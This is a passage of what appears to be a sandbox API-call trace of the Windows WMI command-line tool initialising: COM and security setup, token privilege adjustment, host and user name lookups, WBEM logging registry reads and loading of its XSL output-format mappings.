bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0xf30 [0090.981] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff776960000 [0090.981] __set_app_type (_Type=0x1) [0090.981] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff77699ec40) returned 0x0 [0090.982] __wgetmainargs (in: _Argc=0x7ff7769c7258, _Argv=0x7ff7769c7260, _Env=0x7ff7769c7268, _DoWildCard=0, _StartInfo=0x7ff7769c7274 | out: _Argc=0x7ff7769c7258, _Argv=0x7ff7769c7260, _Env=0x7ff7769c7268) returned 0 [0091.371] ??0CHString@@QEAA@XZ () returned 0x7ff7769c79b0 [0091.782] malloc (_Size=0x30) returned 0x2a2eed26e10 [0091.782] malloc (_Size=0x70) returned 0x2a2eed26e50 [0091.783] malloc (_Size=0x50) returned 0x2a2eed26ed0 [0091.783] malloc (_Size=0x30) returned 0x2a2eed26f30 [0091.783] malloc (_Size=0x48) returned 0x2a2eed26f70 [0091.783] malloc (_Size=0x30) returned 0x2a2eed215a0 [0091.783] malloc (_Size=0x30) returned 0x2a2eed215e0 [0091.783] ??0CHString@@QEAA@XZ () returned 0x7ff7769c7e60 [0091.783] malloc (_Size=0x30) returned 0x2a2eed21620 [0091.900] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0091.900] SetConsoleCtrlHandler (HandlerRoutine=0x7ff776997ca0, Add=1) returned 1 [0091.900] _onexit (_Func=0x7ff7769a91c0) returned 0x7ff7769a91c0 [0091.900] _onexit (_Func=0x7ff7769a92a0) returned 0x7ff7769a92a0 [0091.900] _onexit (_Func=0x7ff7769a92e0) returned 0x7ff7769a92e0 [0091.900] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0091.901] ResolveDelayLoadedAPI () returned 0x7ff92fa5efc0 [0091.901] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0092.264] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0092.331] CoCreateInstance (in: rclsid=0x7ff7769b0608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff7769b0618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff7769c7840 | out: ppv=0x7ff7769c7840*=0x2a2eedcc190) returned 0x0 [0092.778] GetCurrentProcess () returned 0xffffffffffffffff [0092.778] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xadcc10f530 | out: TokenHandle=0xadcc10f530*=0x160) returned 1 [0092.778] GetTokenInformation (in: TokenHandle=0x160, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xadcc10f528 | out: TokenInformation=0x0, ReturnLength=0xadcc10f528) returned 0 [0092.778] malloc (_Size=0x118) returned 0x2a2eed25bb0 [0092.778] GetTokenInformation (in: TokenHandle=0x160, TokenInformationClass=0x3, TokenInformation=0x2a2eed25bb0, TokenInformationLength=0x118, ReturnLength=0xadcc10f528 | out: TokenInformation=0x2a2eed25bb0, ReturnLength=0xadcc10f528) returned 1 [0092.778] AdjustTokenPrivileges (in: TokenHandle=0x160, DisableAllPrivileges=0, NewState=0x2a2eed25bb0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=206670021, Attributes=0xcbf), (Luid.LowPart=0x2a2, Luid.HighPart=-288226992, Attributes=0x2a2), (Luid.LowPart=0x79006c, Luid.HighPart=3538976, Attributes=0x4d0020), (Luid.LowPart=0x6c0065, Luid.HighPart=3735584, Attributes=0x200034), (Luid.LowPart=0x700065, Luid.HighPart=6881392, Attributes=0x67006e), (Luid.LowPart=0x20002c, Luid.HighPart=6619207, Attributes=0x75006e))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0092.778] free (_Block=0x2a2eed25bb0) [0092.778] CloseHandle (hObject=0x160) returned 1 [0092.846] malloc (_Size=0x40) returned 0x2a2eed25bb0 [0093.137] malloc (_Size=0x40) returned 0x2a2eed25c00 [0093.137] malloc (_Size=0x40) returned 0x2a2eed25c50 [0093.137] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.144] _vsnwprintf (in: _Buffer=0x2a2eed25c50, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0xadcc10f238 | out: _Buffer="ms_409") returned 6 [0093.144] malloc (_Size=0x20) returned 0x2a2eed25ca0 [0093.144] GetComputerNameW (in: lpBuffer=0x2a2eed25ca0, nSize=0xadcc10f538 | out: lpBuffer="NQDPDE", nSize=0xadcc10f538) returned 1 [0093.144] lstrlenW (lpString="NQDPDE") returned 6 [0093.144] malloc (_Size=0xe) returned 0x2a2eed25cd0 [0093.144] lstrlenW (lpString="NQDPDE") returned 6 [0093.144] ResolveDelayLoadedAPI () returned 0x7ff92e2e6960 [0093.145] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0xadcc10f530 | out: lpNameBuffer=0x0, nSize=0xadcc10f530) returned 0x0 [0093.146] GetLastError () returned 0xea [0093.146] malloc (_Size=0x1e) returned 0x2a2eed25cf0 [0093.146] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2a2eed25cf0, nSize=0xadcc10f530 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0xadcc10f530) returned 0x1 [0093.363] lstrlenW (lpString="") returned 0 [0093.363] lstrlenW (lpString="NQDPDE") returned 6 [0093.363] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0093.364] lstrlenW (lpString=".") returned 1 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0093.364] lstrlenW (lpString="LOCALHOST") returned 9 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0093.364] free (_Block=0x2a2eed25cd0) [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] malloc (_Size=0xe) returned 0x2a2eed25cd0 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] malloc (_Size=0xe) returned 0x2a2eed25d20 [0093.364] lstrlenW (lpString="NQDPDE") returned 6 [0093.364] malloc (_Size=0x8) returned 0x2a2eed25d40 [0093.365] malloc (_Size=0x18) returned 0x2a2eed25d60 [0093.365] ResolveDelayLoadedAPI () returned 0x7ff931c1cdb0 [0093.371] malloc (_Size=0x30) returned 0x2a2eed25d80 [0093.371] malloc (_Size=0x18) returned 0x2a2eed25dc0 [0093.371] SysStringLen (param_1="IDENTIFY") returned 0x8 [0093.371] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0093.371] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0093.371] SysStringLen (param_1="IDENTIFY") returned 0x8 [0093.371] malloc (_Size=0x30) returned 0x2a2eed25de0 [0093.371] malloc (_Size=0x18) returned 0x2a2eed25e20 [0093.371] SysStringLen (param_1="IMPERSONATE") returned 0xb [0093.371] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0093.371] SysStringLen (param_1="IMPERSONATE") returned 0xb [0093.371] SysStringLen (param_1="IDENTIFY") returned 0x8 [0093.371] SysStringLen (param_1="IDENTIFY") returned 0x8 [0093.371] SysStringLen (param_1="IMPERSONATE") returned 0xb [0093.371] malloc (_Size=0x30) returned 0x2a2eed25e40 [0093.371] malloc (_Size=0x18) returned 0x2a2eed25e80 [0093.372] SysStringLen (param_1="DELEGATE") returned 0x8 [0093.372] SysStringLen (param_1="IDENTIFY") returned 0x8 [0093.372] SysStringLen (param_1="DELEGATE") returned 0x8 [0093.372] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0093.372] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0093.372] SysStringLen (param_1="DELEGATE") returned 0x8 [0093.372] malloc (_Size=0x30) returned 0x2a2eed25ea0 [0093.372] malloc (_Size=0x18) returned 0x2a2eed25ee0 [0093.372] malloc (_Size=0x30) returned 0x2a2eed25f00 [0093.372] malloc (_Size=0x18) returned 0x2a2eed25f40 [0093.372] SysStringLen (param_1="NONE") returned 0x4 [0093.372] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.372] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.372] SysStringLen (param_1="NONE") returned 0x4 [0093.373] malloc (_Size=0x30) returned 0x2a2eed25f60 [0093.373] malloc (_Size=0x18) returned 0x2a2eed25fa0 [0093.373] SysStringLen (param_1="CONNECT") returned 0x7 [0093.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.373] malloc (_Size=0x30) returned 0x2a2eed25fc0 [0093.373] malloc (_Size=0x18) returned 0x2a2eed26000 [0093.373] SysStringLen (param_1="CALL") returned 0x4 [0093.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.373] SysStringLen (param_1="CALL") returned 0x4 [0093.373] SysStringLen (param_1="CONNECT") returned 0x7 [0093.373] malloc (_Size=0x30) returned 0x2a2eed26020 [0093.373] malloc (_Size=0x18) returned 0x2a2eed26060 [0093.373] SysStringLen (param_1="PKT") returned 0x3 [0093.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.373] SysStringLen (param_1="PKT") returned 0x3 [0093.373] SysStringLen (param_1="NONE") returned 0x4 [0093.373] SysStringLen (param_1="NONE") returned 0x4 [0093.373] SysStringLen (param_1="PKT") returned 0x3 [0093.373] malloc (_Size=0x30) returned 0x2a2eed26080 [0093.373] malloc (_Size=0x18) returned 0x2a2eed260c0 [0093.373] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0093.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.373] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0093.373] SysStringLen (param_1="NONE") returned 0x4 [0093.373] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0093.373] SysStringLen (param_1="PKT") returned 0x3 [0093.373] SysStringLen (param_1="PKT") returned 0x3 [0093.373] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0093.373] malloc (_Size=0x30) returned 0x2a2eed2a9d0 [0093.373] malloc (_Size=0x18) returned 0x2a2eed260e0 [0093.373] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0093.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0093.373] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0093.373] SysStringLen (param_1="PKT") returned 0x3 [0093.373] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0093.373] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0093.373] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0093.373] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0093.374] malloc (_Size=0x30) returned 0x2a2eed2a590 [0093.374] malloc (_Size=0x40) returned 0x2a2eed26100 [0093.374] malloc (_Size=0x20a) returned 0x2a2eed2b150 [0093.374] GetSystemDirectoryW (in: lpBuffer=0x2a2eed2b150, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0093.374] free (_Block=0x2a2eed2b150) [0093.374] malloc (_Size=0x18) returned 0x2a2eed26150 [0093.374] malloc (_Size=0x18) returned 0x2a2eed2b150 [0093.374] malloc (_Size=0x18) returned 0x2a2eed2b170 [0093.374] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0093.374] SysStringLen (param_1="\\wbem\\") returned 0x6 [0093.374] free (_Block=0x2a2eed26150) [0093.374] free (_Block=0x2a2eed2b150) [0093.374] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0093.374] free (_Block=0x2a2eed2b170) [0093.374] malloc (_Size=0x18) returned 0x2a2eed2b1e0 [0093.374] malloc (_Size=0x18) returned 0x2a2eed2b500 [0093.374] malloc (_Size=0x18) returned 0x2a2eed2b260 [0093.374] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0093.374] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0093.374] free (_Block=0x2a2eed2b1e0) [0093.374] free (_Block=0x2a2eed2b500) [0093.374] GetCurrentThreadId () returned 0xf30 [0093.375] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0xadcc10ee40 | out: phkResult=0xadcc10ee40*=0x168) returned 0x0 [0093.375] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0xadcc10ee90, lpcbData=0xadcc10ee30*=0x400 | out: lpType=0x0, lpData=0xadcc10ee90*=0x30, lpcbData=0xadcc10ee30*=0x4) returned 0x0 [0093.375] _wcsicmp (_String1="0", _String2="1") returned -1 [0093.375] _wcsicmp (_String1="0", _String2="2") returned -2 [0093.375] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xadcc10ee30*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0xadcc10ee30*=0x42) returned 0x0 [0093.375] malloc (_Size=0x86) returned 0x2a2eed2b560 [0093.375] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x2a2eed2b560, lpcbData=0xadcc10ee30*=0x42 | out: lpType=0x0, lpData=0x2a2eed2b560*=0x25, lpcbData=0xadcc10ee30*=0x42) returned 0x0 [0093.375] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0093.375] malloc (_Size=0x42) returned 0x2a2eed2b5f0 [0093.375] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0093.375] RegQueryValueExW (in: hKey=0x168, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0xadcc10ee90, lpcbData=0xadcc10ee30*=0x400 | out: lpType=0x0, lpData=0xadcc10ee90*=0x36, lpcbData=0xadcc10ee30*=0xc) returned 0x0 [0093.375] _wtol (_String="65536") returned 65536 [0093.375] free (_Block=0x2a2eed2b560) [0093.375] RegCloseKey (hKey=0x0) returned 0x6 [0093.375] CoCreateInstance (in: rclsid=0x7ff7769b0668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff7769b0678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xadcc10f330 | out: ppv=0xadcc10f330*=0x2a2ef3e6f20) returned 0x0 [0095.199] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x2a2ef3e6f20, xmlSource=0xadcc10f470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0xadcc10f4e0 | out: isSuccessful=0xadcc10f4e0*=0xffff) returned 0x0 [0098.671] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x2a2ef3e6f20, DOMElement=0xadcc10f338 | out: DOMElement=0xadcc10f338*=0x2a2ef3e94b0) returned 0x0 [0098.677] malloc (_Size=0x18) returned 0x2a2eed2b1a0 [0098.805] free (_Block=0x2a2eed2b1a0) [0098.806] malloc (_Size=0x18) returned 0x2a2eed2b220 [0098.807] free (_Block=0x2a2eed2b220) [0098.807] malloc (_Size=0x18) returned 0x2a2eed2b200 [0098.807] malloc (_Size=0x18) returned 0x2a2eed2b320 [0098.807] malloc (_Size=0x30) returned 0x2a2eed2a750 [0098.807] malloc (_Size=0x18) returned 0x2a2eed2b2c0 [0098.808] free (_Block=0x2a2eed2b2c0) [0098.808] malloc (_Size=0x18) returned 0x2a2eed2b500 [0098.808] malloc (_Size=0x18) returned 0x2a2eed2b520 [0098.808] SysStringLen (param_1="VALUE") returned 0x5 [0098.808] SysStringLen (param_1="TABLE") returned 0x5 [0098.808] SysStringLen (param_1="TABLE") returned 0x5 [0098.808] SysStringLen (param_1="VALUE") returned 0x5 [0098.808] malloc (_Size=0x30) returned 0x2a2eed2a850 [0098.808] malloc (_Size=0x18) returned 0x2a2eed2b340 [0098.808] free (_Block=0x2a2eed2b340) [0098.808] malloc (_Size=0x18) returned 0x2a2eed2b340 [0098.808] malloc (_Size=0x18) returned 0x2a2eed2b480 [0098.808] SysStringLen (param_1="LIST") returned 0x4 [0098.808] SysStringLen (param_1="TABLE") returned 0x5 [0098.808] malloc (_Size=0x30) returned 0x2a2eed2a710 [0098.809] malloc (_Size=0x18) returned 0x2a2eed2b460 [0098.809] free (_Block=0x2a2eed2b460) [0098.809] malloc (_Size=0x18) returned 0x2a2eed2b2e0 [0098.809] malloc (_Size=0x18) returned 0x2a2eed2b360 [0098.809] SysStringLen (param_1="RAWXML") returned 0x6 [0098.809] SysStringLen (param_1="TABLE") returned 0x5 [0098.809] SysStringLen (param_1="RAWXML") returned 0x6 [0098.809] SysStringLen (param_1="LIST") returned 0x4 [0098.809] SysStringLen (param_1="LIST") returned 0x4 [0098.809] SysStringLen (param_1="RAWXML") returned 0x6 [0098.809] malloc (_Size=0x30) returned 0x2a2eed2a690 [0098.809] malloc (_Size=0x18) returned 0x2a2eed2b3e0 [0098.809] free (_Block=0x2a2eed2b3e0) [0098.809] malloc (_Size=0x18) returned 0x2a2eed2b380 [0098.809] malloc (_Size=0x18) returned 0x2a2eed2b420 [0098.810] SysStringLen (param_1="HTABLE") returned 0x6 [0098.810] SysStringLen (param_1="TABLE") returned 0x5 [0098.810] SysStringLen (param_1="HTABLE") returned 0x6 [0098.810] SysStringLen (param_1="LIST") returned 0x4 [0098.810] malloc (_Size=0x30) returned 0x2a2eed2a650 [0098.810] malloc (_Size=0x18) returned 0x2a2eed2b4e0 [0098.810] free (_Block=0x2a2eed2b4e0) [0098.810] malloc (_Size=0x18) returned 0x2a2eed2b4c0 [0098.810] malloc (_Size=0x18) returned 0x2a2eed2b1e0 [0098.810] SysStringLen (param_1="HFORM") returned 0x5 [0098.810] SysStringLen (param_1="TABLE") returned 0x5 [0098.810] SysStringLen (param_1="HFORM") returned 0x5 [0098.810] SysStringLen (param_1="LIST") returned 0x4 [0098.810] SysStringLen (param_1="HFORM") returned 0x5 [0098.810] SysStringLen (param_1="HTABLE") returned 0x6 [0098.810] malloc (_Size=0x30) returned 0x2a2eed2a7d0 [0098.810] malloc (_Size=0x18) returned 0x2a2eed2b1a0 [0098.811] free (_Block=0x2a2eed2b1a0) [0098.811] malloc (_Size=0x18) returned 0x2a2eed2b1c0 [0098.811] malloc (_Size=0x18) returned 0x2a2eed2b220 [0098.811] SysStringLen (param_1="XML") returned 0x3 [0098.811] SysStringLen (param_1="TABLE") returned 0x5 [0098.811] SysStringLen (param_1="XML") returned 0x3 [0098.811] SysStringLen (param_1="VALUE") returned 0x5 [0098.811] SysStringLen (param_1="VALUE") returned 0x5 [0098.811] SysStringLen (param_1="XML") returned 0x3 [0098.811] malloc (_Size=0x30) returned 0x2a2eed2a5d0 [0098.811] malloc (_Size=0x18) returned 0x2a2eed2b240 [0098.811] free (_Block=0x2a2eed2b240) [0098.811] malloc (_Size=0x18) returned 0x2a2eed2b4a0 [0098.811] malloc (_Size=0x18) returned 0x2a2eed2b440 [0098.811] SysStringLen (param_1="MOF") returned 0x3 [0098.811] SysStringLen (param_1="TABLE") returned 0x5 [0098.811] SysStringLen (param_1="MOF") returned 0x3 [0098.811] SysStringLen (param_1="LIST") returned 0x4 [0098.811] SysStringLen (param_1="MOF") returned 0x3 [0098.811] SysStringLen (param_1="RAWXML") returned 0x6 [0098.812] SysStringLen (param_1="LIST") returned 0x4 [0098.812] SysStringLen (param_1="MOF") returned 0x3 [0098.812] malloc (_Size=0x30) returned 0x2a2eed2ab90 [0098.812] malloc (_Size=0x18) returned 0x2a2eed2b3e0 [0098.812] free (_Block=0x2a2eed2b3e0) [0098.812] malloc (_Size=0x18) returned 0x2a2eed2b3a0 [0098.812] malloc (_Size=0x18) returned 0x2a2eed2b300 [0098.812] SysStringLen (param_1="CSV") returned 0x3 [0098.812] SysStringLen (param_1="TABLE") returned 0x5 [0098.812] SysStringLen (param_1="CSV") returned 0x3 [0098.812] SysStringLen (param_1="LIST") returned 0x4 [0098.812] SysStringLen (param_1="CSV") returned 0x3 [0098.812] SysStringLen (param_1="HTABLE") returned 0x6 [0098.812] SysStringLen (param_1="CSV") returned 0x3 [0098.812] SysStringLen (param_1="HFORM") returned 0x5 [0098.812] malloc (_Size=0x30) returned 0x2a2eed2ac10 [0098.812] malloc (_Size=0x18) returned 0x2a2eed2b1a0 [0098.813] free (_Block=0x2a2eed2b1a0) [0098.813] malloc (_Size=0x18) returned 0x2a2eed2b1a0 [0098.813] malloc (_Size=0x18) returned 0x2a2eed2b460 [0098.813] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.813] SysStringLen (param_1="TABLE") returned 0x5 [0098.813] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.813] SysStringLen (param_1="VALUE") returned 0x5 [0098.813] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.813] SysStringLen (param_1="XML") returned 0x3 [0098.813] SysStringLen (param_1="XML") returned 0x3 [0098.813] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.813] malloc (_Size=0x30) returned 0x2a2eed2a610 [0098.815] malloc (_Size=0x18) returned 0x2a2eed2b240 [0098.815] free (_Block=0x2a2eed2b240) [0098.816] malloc (_Size=0x18) returned 0x2a2eed2b4e0 [0098.816] malloc (_Size=0x18) returned 0x2a2eed2b400 [0098.816] SysStringLen (param_1="texttablewsys") returned 0xd [0098.816] SysStringLen (param_1="TABLE") returned 0x5 [0098.816] SysStringLen (param_1="texttablewsys") returned 0xd [0098.816] SysStringLen (param_1="XML") returned 0x3 [0098.816] SysStringLen (param_1="texttablewsys") returned 0xd [0098.816] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.816] SysStringLen (param_1="XML") returned 0x3 [0098.816] SysStringLen (param_1="texttablewsys") returned 0xd [0098.816] malloc (_Size=0x30) returned 0x2a2eed2ac50 [0098.816] malloc (_Size=0x18) returned 0x2a2eed2b280 [0098.816] free (_Block=0x2a2eed2b280) [0098.816] malloc (_Size=0x18) returned 0x2a2eed2b3c0 [0098.816] malloc (_Size=0x18) returned 0x2a2eed2b240 [0098.816] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.816] SysStringLen (param_1="TABLE") returned 0x5 [0098.816] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.816] SysStringLen (param_1="XML") returned 0x3 [0098.816] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.817] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.817] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.817] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.817] malloc (_Size=0x30) returned 0x2a2eed2a910 [0098.817] malloc (_Size=0x18) returned 0x2a2eed2b280 [0098.817] free (_Block=0x2a2eed2b280) [0098.817] malloc (_Size=0x18) returned 0x2a2eed2b280 [0098.817] malloc (_Size=0x18) returned 0x2a2eed2b2a0 [0098.817] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.817] SysStringLen (param_1="TABLE") returned 0x5 [0098.817] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.817] SysStringLen (param_1="XML") returned 0x3 [0098.817] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.817] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.817] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.817] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.817] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.817] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.817] malloc (_Size=0x30) returned 0x2a2eed2abd0 [0098.818] malloc (_Size=0x18) returned 0x2a2eed2b2c0 [0098.818] free (_Block=0x2a2eed2b2c0) [0098.818] malloc (_Size=0x18) returned 0x2a2eed2b2c0 [0098.818] malloc (_Size=0x18) returned 0x2a2eed2b3e0 [0098.818] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.818] SysStringLen (param_1="TABLE") returned 0x5 [0098.818] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.818] SysStringLen (param_1="XML") returned 0x3 [0098.818] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.818] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.818] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.818] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.818] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.818] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.818] malloc (_Size=0x30) returned 0x2a2eed2aa90 [0098.818] malloc (_Size=0x18) returned 0x2a2eed2dfb0 [0098.818] free (_Block=0x2a2eed2dfb0) [0098.819] malloc (_Size=0x18) returned 0x2a2eed2db10 [0098.819] malloc (_Size=0x18) returned 0x2a2eed2df30 [0098.819] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.819] SysStringLen (param_1="TABLE") returned 0x5 [0098.819] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.819] SysStringLen (param_1="XML") returned 0x3 [0098.819] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.819] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.819] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.819] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.819] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.819] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.819] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.819] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.819] malloc (_Size=0x30) returned 0x2a2eed2aad0 [0098.819] malloc (_Size=0x18) returned 0x2a2eed2dc30 [0098.819] free (_Block=0x2a2eed2dc30) [0098.819] malloc (_Size=0x18) returned 0x2a2eed2df70 [0098.819] malloc (_Size=0x18) returned 0x2a2eed2e030 [0098.819] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.819] SysStringLen (param_1="TABLE") returned 0x5 [0098.819] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.819] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.819] 